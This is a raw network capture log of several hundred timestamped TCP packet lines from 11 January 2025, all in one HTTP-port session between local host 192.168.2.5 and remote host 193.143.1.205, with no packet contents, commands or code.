Jan 11, 2025 02:24:15.155808926 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.155811071 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.155823946 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.155836105 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.155848980 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.155858040 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.155862093 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.155883074 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.155925035 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.155956030 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.155968904 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.155997038 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.155998945 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.156011105 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.156023026 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.156047106 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.156073093 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.156088114 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.156099081 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.156138897 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.156193018 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.156198025 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.156203985 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.156208992 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.156317949 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.190903902 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.190927982 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.190941095 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191016912 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191028118 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191040993 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191059113 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191072941 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191112041 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191163063 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191174030 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191184998 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191196918 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191210032 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191214085 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191239119 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191293001 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191334963 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191344976 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191384077 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191395998 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191406965 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191431999 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191459894 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191517115 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191529036 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191541910 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191554070 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191572905 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191610098 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191629887 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191713095 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191725016 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191741943 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191767931 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191767931 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191790104 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191838980 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191864014 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191876888 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191886902 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191910982 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.191910982 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191926003 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.191961050 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.192070961 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192084074 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192131996 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.192141056 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192154884 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192184925 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.192306042 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192318916 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192331076 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192353964 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192356110 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.192380905 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192383051 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.192420006 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.192467928 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192481041 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192511082 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192523003 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192537069 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192543983 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192562103 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.192569971 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192581892 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192606926 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.192610025 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192631006 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.192635059 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.192784071 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.192992926 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193003893 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193025112 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193042994 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193052053 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193063021 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193077087 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193083048 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193099976 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193103075 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193116903 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193125963 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193135023 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193139076 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193149090 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193176031 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193360090 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193373919 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193383932 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193394899 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193406105 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193416119 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193416119 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193425894 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193428993 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193442106 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193453074 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193458080 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193465948 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193478107 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193484068 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193492889 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193497896 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193526030 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193702936 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193713903 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193734884 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193757057 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193758965 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193770885 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193783045 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193785906 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193797112 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193808079 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193814993 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193823099 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193828106 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193833113 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193837881 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193840027 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.193866014 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.193876028 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.194021940 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.194150925 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.194164038 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.194176912 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.194189072 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.194194078 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.194201946 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.194211960 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.194216013 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.194226980 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.194232941 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.194247007 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.194257975 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.194262028 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.194288015 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.200629950 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.209263086 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.209281921 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.209296942 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.209321022 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.209335089 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.209348917 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.209374905 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.209381104 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.209398985 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.209409952 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.209439039 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.244401932 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244452953 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244463921 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244474888 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244518042 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244534969 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.244534969 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.244591951 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244602919 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244612932 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244631052 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.244657040 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.244728088 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244743109 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244755983 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244779110 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.244843006 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244854927 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244878054 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244888067 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244898081 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.244904995 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.244935989 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.279613972 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279653072 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279670954 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279683113 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279695034 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279756069 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.279767990 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279783964 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279795885 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279812098 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.279841900 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.279853106 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279865980 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279877901 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279889107 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279903889 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.279915094 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279922009 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.279968977 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.279982090 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280005932 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280042887 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280054092 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280065060 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280076981 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280097961 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280097961 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280138969 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280158043 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280168056 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280179024 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280201912 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280235052 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280249119 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280263901 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280275106 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280277014 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280314922 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280323982 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280335903 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280370951 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280412912 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280425072 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280435085 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280447960 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280456066 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280483961 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280514956 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280527115 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280567884 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280627012 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280637980 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280647993 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280658007 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280673981 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280698061 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280745983 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280757904 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280795097 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280862093 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280873060 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280884981 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280895948 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280906916 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280906916 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280924082 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.280924082 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280934095 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.280973911 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281090021 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281100035 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281116009 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281121969 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281131029 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281150103 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281151056 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281162024 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281173944 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281184912 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281197071 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281197071 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281220913 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281236887 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281306982 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281318903 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281331062 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281362057 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281436920 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281447887 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281455040 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281522036 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281533957 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281538010 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281541109 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281548023 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281554937 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281565905 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281577110 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281586885 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281606913 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281774044 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281790972 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281801939 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281810045 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281821012 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281832933 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281837940 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281845093 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281857014 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281866074 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281867027 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281879902 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281891108 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.281905890 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.281930923 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.282113075 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.282124996 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.282135010 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.282145023 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.282149076 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.282157898 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.282167912 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.282175064 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.282179117 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.282201052 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.282217026 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.297636032 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.314733028 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.314749956 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.314764023 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.314779997 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.314821959 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.314821005 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.314835072 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.314858913 CET	49720	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:24:15.314954996 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.314966917 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.314977884 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.314986944 CET	80	49720	193.143.1.205	192.168.2.5
Jan 11, 2025 02:24:15.314986944 CET	49720	80	192.168.2.5	193.143.1.205
